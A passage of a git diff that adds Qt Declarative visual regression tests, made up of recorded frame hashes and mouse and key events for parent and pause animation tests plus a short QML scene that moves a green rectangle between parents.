x: 237; y: 299 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4048 + hash: "803e84f027c773db96f9530511e5fedb" + } + Frame { + msec: 4064 + hash: "f47cfd1f1094b782c08490be2f49c6ed" + } + Frame { + msec: 4080 + hash: "db5953f3ee4e2db87e33b85464167f74" + } + Frame { + msec: 4096 + hash: "8313cb750b9abc586a43b9422de08f53" + } + Frame { + msec: 4112 + hash: "deb390ce992fee85c56733168b4bd1ec" + } + Frame { + msec: 4128 + hash: "29a1cda3647c49731e9adcd107a2d13c" + } + Frame { + msec: 4144 + hash: "bfa17a3afa06699107b217df6e4aed43" + } + Frame { + msec: 4160 + hash: "8e639ef01ab6d8876c3f40adc44928c6" + } + Frame { + msec: 4176 + hash: "14038aedf42de0ca62d872d317018ee0" + } + Frame { + msec: 4192 + hash: "c1288465163d44ed40e28f21e0298ea6" + } + Frame { + msec: 4208 + hash: "d6915f22a905737488d27e8138002f31" + } + Frame { + msec: 4224 + hash: "5b1621451a5a3af40302603ec31bb8bb" + } + Frame { + msec: 4240 + hash: "16fd73c0cb615cc717cdc4a6787471c2" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 237; y: 299 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4256 + hash: "16fd73c0cb615cc717cdc4a6787471c2" + } + Frame { + msec: 4272 + hash: "db5caf42e11705ecdb2006e1ed6b0c4f" + } + Frame { + msec: 4288 + hash: "4b7e51e4e9fb1dacb32aac11a4a46ceb" + } + Frame { + msec: 4304 + hash: "63c93cda9892f733809125991af997b6" + } + Frame { + msec: 4320 + hash: "0e74613c67fc9d9acb21a3d382c5efcd" + } + Frame { + msec: 4336 + hash: "58e813a6619828b6c9ec9cf300ff0e2d" + } + Frame { + msec: 4352 + hash: "181a6e334d745381f091bf1b55fc1690" + } + Frame { + msec: 4368 + hash: "f25bbc9ddc8cc72036c49d50b45bece8" + } + Frame { + msec: 4384 + hash: "88e8f0496debfee6bc2426895fe1c3d9" + } + Frame { + msec: 4400 + hash: "db5953f3ee4e2db87e33b85464167f74" + } + Frame { + msec: 4416 + hash: "9818a899adb916b6ba5f7537697ef062" + } + Frame { + msec: 4432 + hash: "3842f40093d70089a4004fb803c05981" + } + Frame { + msec: 4448 + hash: "be904489959fa365badb642fa9e85922" + } + Frame { + msec: 4464 + hash: "cbae27751ff0ebce4fcc164564f4cf1b" + } + Frame { + msec: 4480 + hash: "3a1b468bd3fd747bbe6b069426b170a9" + } + Frame { + msec: 4496 + hash: "57fbcd580eb1607a2a7526a65842dfeb" + } + Frame { + msec: 4512 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 4528 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 4544 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 4560 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 4576 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 4592 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 4608 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 4624 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 237; y: 299 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4640 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 4656 + hash: "633b5668278295faa57d0cfffe8a29cb" + } + Frame { + msec: 4672 + hash: "ccbf4505e0f05547d2f7ce874ab941c0" + } + Frame { + msec: 4688 + hash: "be904489959fa365badb642fa9e85922" + } + Frame { + msec: 4704 + hash: "de6a97ac6e2677feb223336199cbffe1" + } + Frame { + msec: 4720 + hash: "997b0a547336a9bb6a67cd9beffe1831" + } + Frame { + msec: 4736 + hash: "ac9a6e111050b8a7c4492f06c33d3969" + } + Frame { + msec: 4752 + hash: "7313c0d2ee06e393f486670222c29bb4" + } + Frame { + msec: 4768 + hash: "24cea420d03d1fdcddb1b9cf5112cbee" + } + Frame { + msec: 4784 + hash: "764688785eeaa01e9c84821476911edb" + } + Frame { + msec: 4800 + image: "parentAnimation.4.png" + } + Frame { + msec: 4816 + hash: "f1daed3391f10e27435a54222df8d0ab" + } + Frame { + msec: 4832 + hash: "99704e182267f2c12d0215b9c03f4d68" + } + Frame { + msec: 4848 + hash: "143cd9259a41b8af5d41a5b2aaf8de64" + } + Frame { + msec: 4864 + hash: "b5f0a0f838b5870c162a24cd767f068b" + } + Frame { + msec: 4880 + hash: "c5c8cdcbfab7466e447eaff582bf7312" + } + Frame { + msec: 4896 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 4912 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 4928 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 4944 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 4960 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 4976 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 4992 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5008 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5024 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5040 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5056 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5072 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5088 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5104 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5120 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5136 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5152 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5168 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5184 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5200 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5216 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5232 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5248 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5264 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5280 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5296 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5312 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5328 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5344 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 237; y: 299 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5360 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5376 + hash: "eaeeb8c51d43e3c38ff7dde632d1f9c8" + } + Frame { + msec: 5392 + hash: "ec0e68c2e7a75fedd1091ce633dadd4f" + } + Frame { + msec: 5408 + hash: "a5d60efc176dee9083a2d746e7ad8315" + } + Frame { + msec: 5424 + hash: "48bcbbacf413080247f818e35e496e04" + } + Frame { + msec: 5440 + hash: "c521af8efa19fbac39119ad75cd469f5" + } + Frame { + msec: 5456 + hash: "0e74613c67fc9d9acb21a3d382c5efcd" + } + Frame { + msec: 5472 + hash: "eeb3f4467ebd7ee678c3b7371db28519" + } + Frame { + msec: 5488 + hash: "9c5b9009a35b74d0ddec8fec85f204bf" + } + Frame { + msec: 5504 + hash: "aefc70824e23428aebf0a40830a57469" + } + Frame { + msec: 5520 + hash: "1fa9c23760193b74b0063b4e4c434070" + } + Frame { + msec: 5536 + hash: "8091700d4729163bd87521385853e608" + } + Frame { + msec: 5552 + hash: "a13558e609570f9390f20a85d244fa22" + } + Frame { + msec: 5568 + hash: "7be5e3609bbeb9a2c1df7d52f3953d4d" + } + Frame { + msec: 5584 + hash: "51c8ae31f858121d86ef09cc9a5c5ef3" + } + Frame { + msec: 5600 + hash: "84ce8f39207f4b07c2c3323425a8c238" + } + Frame { + msec: 5616 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 5632 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 5648 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 5664 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 5680 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 5696 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 5712 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 5728 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 5744 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 5760 + image: "parentAnimation.5.png" + } + Frame { + msec: 5776 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 5792 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 5808 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 5824 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 5840 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 5856 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 5872 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 5888 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 5904 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 5920 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 5936 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 5952 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 5968 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 5984 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 6000 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 6016 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Key { + type: 6 + key: 16777249 + modifiers: 67108864 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 6032 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 6048 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 6064 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 6080 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 6096 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 6112 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 6128 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 6144 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 6160 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 6176 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 6192 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 6208 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 6224 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 6240 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 6256 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 6272 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } +} diff --git a/tests/auto/declarative/qmlvisual/animation/parentAnimation/parentAnimation.qml b/tests/auto/declarative/qmlvisual/animation/parentAnimation/parentAnimation.qml new file mode 100644 index 0000000..8d0b375 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/animation/parentAnimation/parentAnimation.qml @@ -0,0 +1,68 @@ +import Qt 4.6 + +/* +This test shows a green rectangle moving and growing from the upper-left corner +of the black rectangle to the same position as the red rectangle (it should end up +the same height as the red rect and twice as wide). There should be no odd jumps or clipping seen. + +The test shows one full transition (to the red and back), then several partial transitions, and +then a final full transition. +*/ + +Rectangle { + width: 800; + height: 480; + color: "black"; + + Rectangle { + id: gr + color: "green" + width: 100; height: 100 + } + + MouseArea { + id: mouser + anchors.fill: parent + } + + Rectangle { + id: np + x: 300 + width: 300; height: 300 + color: "yellow" + clip: true + Rectangle { + color: "red" + x: 100; y: 100; height: 100; width: 100 + } + + } + + Rectangle { + id: vp + x: 200; y: 200 + width: 100; height: 100 + color: "blue" + rotation: 45 + scale: 2 + } + + states: State { + name: "state1" + when: mouser.pressed + ParentChange { + target: gr + parent: np + x: 100; y: 100; width: 200; + } + } + + transitions: Transition { + reversible: true + to: "state1" + ParentAnimation { + target: gr; via: vp; + NumberAnimation { properties: "x,y,rotation,scale,width" } + } + } +} diff --git a/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.0.png b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.0.png new file mode 100644 index 0000000..693a794 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.0.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.1.png b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.1.png new file mode 100644 index 0000000..06d43f1 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.1.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.2.png b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.2.png new file mode 100644 index 0000000..e619baf Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.2.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.3.png b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.3.png new file mode 100644 index 0000000..30c7671 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.3.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.4.png b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.4.png new file mode 100644 index 0000000..132803c Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.4.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.5.png b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.5.png new file mode 100644 index 0000000..8372bc3 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.5.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.qml b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.qml new file mode 100644 index 0000000..73c6542 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.qml @@ -0,0 +1,1619 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 32 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 48 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 64 + hash: "dcf2867c127e041970047ec8f3edc04f" + } + Frame { + msec: 80 + hash: "41ba853c3403f68a23e708df82e21c53" + } + Frame { + msec: 96 + hash: "a725b59b4947357546bbfc7df3d830af" + } + Frame { + msec: 112 + hash: "336d31586171f22d541b989d24b95cbb" + } + Frame { + msec: 128 + hash: "6d63fb5c8a80f0280e88b2cdf8641bb9" + } + Frame { + msec: 144 + hash: "ef8941674cb61f54853dc33652bb854e" + } + Frame { + msec: 160 + hash: "b3f4a2165ec1ee971542b8ef89656cea" + } + Frame { + msec: 176 + hash: "af3120fe262d2489c0ed33fbbee1549f" + } + Frame { + msec: 192 + hash: "1373545e43fff7251cec9e8375ea267f" + } + Frame { + msec: 208 + hash: "21f0b0437a999bbde66a913032d495c2" + } + Frame { + msec: 224 + hash: "0809d32d5bc1bfce199b1f39a1c68d4f" + } + Frame { + msec: 240 + hash: "022137587b39f5123835482178a1f1cf" + } + Frame { + msec: 256 + hash: "97566ce9558d13ea0780bce233097b27" + } + Frame { + msec: 272 + hash: "96d79b07da105b7f631ed61582b26f7e" + } + Frame { + msec: 288 + hash: "f4732ff2df93fe67cb850dec34184924" + } + Frame { + msec: 304 + hash: "054e6e52f74a3e24f04e6ad0071f79f8" + } + Frame { + msec: 320 + hash: "f541af93a9fde62e4bd1c91d30f91e65" + } + Frame { + msec: 336 + hash: "c4f844ee71f23635bb3ec7375f6a134f" + } + Frame { + msec: 352 + hash: "3e52e06db2bf78762bb9816fe6b105d9" + } + Frame { + msec: 368 + hash: "d9604be23a91327e6ab454609a9d4a13" + } + Frame { + msec: 384 + hash: "dc98a9bdd99367c1e9b838d4be489dcc" + } + Frame { + msec: 400 + hash: "e87b00bfc2c2a75a4234ec02a057ad3a" + } + Frame { + msec: 416 + hash: "5be4f5c67941efb6fcea363c79f1e321" + } + Frame { + msec: 432 + hash: "6cc9de62a0c8fa5e42eac1b01e99ac32" + } + Frame { + msec: 448 + hash: "62a7133012348f2ec3a388fb685ecc3f" + } + Frame { + msec: 464 + hash: "4ac43a03cc6f2020ab5f894d704092ac" + } + Frame { + msec: 480 + hash: "c1a7b7d6d64ac5584c073c2881290696" + } + Frame { + msec: 496 + hash: "29ece1bca4d21fb5862091317d430a13" + } + Frame { + msec: 512 + hash: "29ece1bca4d21fb5862091317d430a13" + } + Frame { + msec: 528 + hash: "29ece1bca4d21fb5862091317d430a13" + } + Frame { + msec: 544 + hash: "29ece1bca4d21fb5862091317d430a13" + } + Frame { + msec: 560 + hash: "29ece1bca4d21fb5862091317d430a13" + } + Frame { + msec: 576 + hash: "c1a7b7d6d64ac5584c073c2881290696" + } + Frame { + msec: 592 + hash: "c1a7b7d6d64ac5584c073c2881290696" + } + Frame { + msec: 608 + hash: "4ac43a03cc6f2020ab5f894d704092ac" + } + Frame { + msec: 624 + hash: "4ac43a03cc6f2020ab5f894d704092ac" + } + Frame { + msec: 640 + hash: "ffd39c1122fe2f7877ef30591b539b40" + } + Frame { + msec: 656 + hash: "62a7133012348f2ec3a388fb685ecc3f" + } + Frame { + msec: 672 + hash: "45281a70021f81dbef30334b1480da1b" + } + Frame { + msec: 688 + hash: "6cc9de62a0c8fa5e42eac1b01e99ac32" + } + Frame { + msec: 704 + hash: "79ec710576427df73dd03f39fba6e2eb" + } + Frame { + msec: 720 + hash: "5be4f5c67941efb6fcea363c79f1e321" + } + Frame { + msec: 736 + hash: "7d9096b1eb940c82a37baf39ef3ccf3e" + } + Frame { + msec: 752 + hash: "e87b00bfc2c2a75a4234ec02a057ad3a" + } + Frame { + msec: 768 + hash: "da60100dc55023c3bab367d97c8f6a85" + } + Frame { + msec: 784 + hash: "dc98a9bdd99367c1e9b838d4be489dcc" + } + Frame { + msec: 800 + hash: "3f869538028a09020d5e8f528f4fb119" + } + Frame { + msec: 816 + hash: "9650fd0364c01b11e4f5dcce51d008af" + } + Frame { + msec: 832 + hash: "2cb09d9655ecc30ae6a591b28c0d355c" + } + Frame { + msec: 848 + hash: "4db9bc6c11caf1d77794c2eabb62a44e" + } + Frame { + msec: 864 + hash: "ce2b5dd7418868acf86fea6ad19cc0c5" + } + Frame { + msec: 880 + hash: "7c27ef654e645679c90520d6cf00b0c4" + } + Frame { + msec: 896 + hash: "ab3e211df3ef7f5f7a8d712edc891c0f" + } + Frame { + msec: 912 + hash: "19d2ae617a49b57dd012677e2834469c" + } + Frame { + msec: 928 + hash: "5025eb75c88f0760f637e0342b7f88a2" + } + Frame { + msec: 944 + hash: "005acbef952a8ee536e6308a48223e65" + } + Frame { + msec: 960 + image: "pauseAnimation.0.png" + } + Frame { + msec: 976 + hash: "5f18a81707f23d377e81a27c1fc41ce9" + } + Frame { + msec: 992 + hash: "bcc35497884c158396c7f60759d1fda4" + } + Frame { + msec: 1008 + hash: "7a4528b000a4ea142d1c77407fa1f581" + } + Frame { + msec: 1024 + hash: "ba967a7d810a4531e577e5f6bd2def33" + } + Frame { + msec: 1040 + hash: "f5afd9cf8ffe27e9992454b9e68688cb" + } + Frame { + msec: 1056 + hash: "51d475c7f64a86d3a18fb115297a7b6b" + } + Frame { + msec: 1072 + hash: "49f5d6fd45c195a8d245b7fefc1277ab" + } + Frame { + msec: 1088 + hash: "f9b0b278659e3a0f78611e6b7f0f2176" + } + Frame { + msec: 1104 + hash: "0809d32d5bc1bfce199b1f39a1c68d4f" + } + Frame { + msec: 1120 + hash: "b7208d103b63a936dff8dd8ed224237f" + } + Frame { + msec: 1136 + hash: "a57c81049b0dc68090ec7c3327b9922c" + } + Frame { + msec: 1152 + hash: "e553f365912586c6408c8c53b1b7d118" + } + Frame { + msec: 1168 + hash: "af3120fe262d2489c0ed33fbbee1549f" + } + Frame { + msec: 1184 + hash: "0c20d12464abbdc45041ea5d9f2719b1" + } + Frame { + msec: 1200 + hash: "dd60cbaff6f34027474e92315dbc0ebc" + } + Frame { + msec: 1216 + hash: "336d31586171f22d541b989d24b95cbb" + } + Frame { + msec: 1232 + hash: "41ba853c3403f68a23e708df82e21c53" + } + Frame { + msec: 1248 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 1264 + hash: "41ba853c3403f68a23e708df82e21c53" + } + Frame { + msec: 1280 + hash: "a725b59b4947357546bbfc7df3d830af" + } + Frame { + msec: 1296 + hash: "336d31586171f22d541b989d24b95cbb" + } + Frame { + msec: 1312 + hash: "f0d8132489c2f2ef760e905b3c093726" + } + Frame { + msec: 1328 + hash: "6d63fb5c8a80f0280e88b2cdf8641bb9" + } + Frame { + msec: 1344 + hash: "dd60cbaff6f34027474e92315dbc0ebc" + } + Frame { + msec: 1360 + hash: "ef8941674cb61f54853dc33652bb854e" + } + Frame { + msec: 1376 + hash: "bc426fb7c31751665b0d3f16e2cb0173" + } + Frame { + msec: 1392 + hash: "0c20d12464abbdc45041ea5d9f2719b1" + } + Frame { + msec: 1408 + hash: "53ae93140252373eaa4d9da73756bd8e" + } + Frame { + msec: 1424 + hash: "721d7061811b5439c2e8e395917494bc" + } + Frame { + msec: 1440 + hash: "af3120fe262d2489c0ed33fbbee1549f" + } + Frame { + msec: 1456 + hash: "a8b624ebfc9ab713d1ce55f318a6e90d" + } + Frame { + msec: 1472 + hash: "a88a8129259f86df5a73addc3649ad37" + } + Frame { + msec: 1488 + hash: "a88a8129259f86df5a73addc3649ad37" + } + Frame { + msec: 1504 + hash: "3db5e30ef19ea693c21ccf72892c4390" + } + Frame { + msec: 1520 + hash: "e553f365912586c6408c8c53b1b7d118" + } + Frame { + msec: 1536 + hash: "e553f365912586c6408c8c53b1b7d118" + } + Frame { + msec: 1552 + hash: "e553f365912586c6408c8c53b1b7d118" + } + Frame { + msec: 1568 + hash: "1373545e43fff7251cec9e8375ea267f" + } + Frame { + msec: 1584 + hash: "1373545e43fff7251cec9e8375ea267f" + } + Frame { + msec: 1600 + hash: "1373545e43fff7251cec9e8375ea267f" + } + Frame { + msec: 1616 + hash: "1373545e43fff7251cec9e8375ea267f" + } + Frame { + msec: 1632 + hash: "1373545e43fff7251cec9e8375ea267f" + } + Frame { + msec: 1648 + hash: "1373545e43fff7251cec9e8375ea267f" + } + Frame { + msec: 1664 + hash: "e553f365912586c6408c8c53b1b7d118" + } + Frame { + msec: 1680 + hash: "e553f365912586c6408c8c53b1b7d118" + } + Frame { + msec: 1696 + hash: "3db5e30ef19ea693c21ccf72892c4390" + } + Frame { + msec: 1712 + hash: "3db5e30ef19ea693c21ccf72892c4390" + } + Frame { + msec: 1728 + hash: "a88a8129259f86df5a73addc3649ad37" + } + Frame { + msec: 1744 + hash: "a8b624ebfc9ab713d1ce55f318a6e90d" + } + Frame { + msec: 1760 + hash: "a8b624ebfc9ab713d1ce55f318a6e90d" + } + Frame { + msec: 1776 + hash: "af3120fe262d2489c0ed33fbbee1549f" + } + Frame { + msec: 1792 + hash: "721d7061811b5439c2e8e395917494bc" + } + Frame { + msec: 1808 + hash: "b3f4a2165ec1ee971542b8ef89656cea" + } + Frame { + msec: 1824 + hash: "0c20d12464abbdc45041ea5d9f2719b1" + } + Frame { + msec: 1840 + hash: "bc426fb7c31751665b0d3f16e2cb0173" + } + Frame { + msec: 1856 + hash: "ef8941674cb61f54853dc33652bb854e" + } + Frame { + msec: 1872 + hash: "dd60cbaff6f34027474e92315dbc0ebc" + } + Frame { + msec: 1888 + hash: "6d63fb5c8a80f0280e88b2cdf8641bb9" + } + Frame { + msec: 1904 + hash: "e74fe4a6bd92cbe8629c8bc8a870104d" + } + Frame { + msec: 1920 + image: "pauseAnimation.1.png" + } + Frame { + msec: 1936 + hash: "a725b59b4947357546bbfc7df3d830af" + } + Frame { + msec: 1952 + hash: "dcf2867c127e041970047ec8f3edc04f" + } + Frame { + msec: 1968 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 1984 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 2000 + hash: "dcf2867c127e041970047ec8f3edc04f" + } + Frame { + msec: 2016 + hash: "41ba853c3403f68a23e708df82e21c53" + } + Frame { + msec: 2032 + hash: "ce57e27af329eba4fac3ab891f0407ce" + } + Frame { + msec: 2048 + hash: "ce57e27af329eba4fac3ab891f0407ce" + } + Frame { + msec: 2064 + hash: "a725b59b4947357546bbfc7df3d830af" + } + Frame { + msec: 2080 + hash: "a725b59b4947357546bbfc7df3d830af" + } + Frame { + msec: 2096 + hash: "3042003c067b257de2cb32f650dde693" + } + Frame { + msec: 2112 + hash: "3042003c067b257de2cb32f650dde693" + } + Frame { + msec: 2128 + hash: "3042003c067b257de2cb32f650dde693" + } + Frame { + msec: 2144 + hash: "3042003c067b257de2cb32f650dde693" + } + Frame { + msec: 2160 + hash: "3042003c067b257de2cb32f650dde693" + } + Frame { + msec: 2176 + hash: "3042003c067b257de2cb32f650dde693" + } + Frame { + msec: 2192 + hash: "3042003c067b257de2cb32f650dde693" + } + Frame { + msec: 2208 + hash: "3042003c067b257de2cb32f650dde693" + } + Frame { + msec: 2224 + hash: "a725b59b4947357546bbfc7df3d830af" + } + Frame { + msec: 2240 + hash: "a725b59b4947357546bbfc7df3d830af" + } + Frame { + msec: 2256 + hash: "ce57e27af329eba4fac3ab891f0407ce" + } + Frame { + msec: 2272 + hash: "ce57e27af329eba4fac3ab891f0407ce" + } + Frame { + msec: 2288 + hash: "41ba853c3403f68a23e708df82e21c53" + } + Frame { + msec: 2304 + hash: "dcf2867c127e041970047ec8f3edc04f" + } + Frame { + msec: 2320 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 2336 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2352 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 2368 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 2384 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 2400 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 2416 + hash: "dcf2867c127e041970047ec8f3edc04f" + } + Frame { + msec: 2432 + hash: "dcf2867c127e041970047ec8f3edc04f" + } + Frame { + msec: 2448 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 2464 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 2480 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 2496 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 2512 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2528 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2544 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2560 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2576 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2592 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2608 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2624 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2640 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2656 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2672 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2688 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2704 + hash: 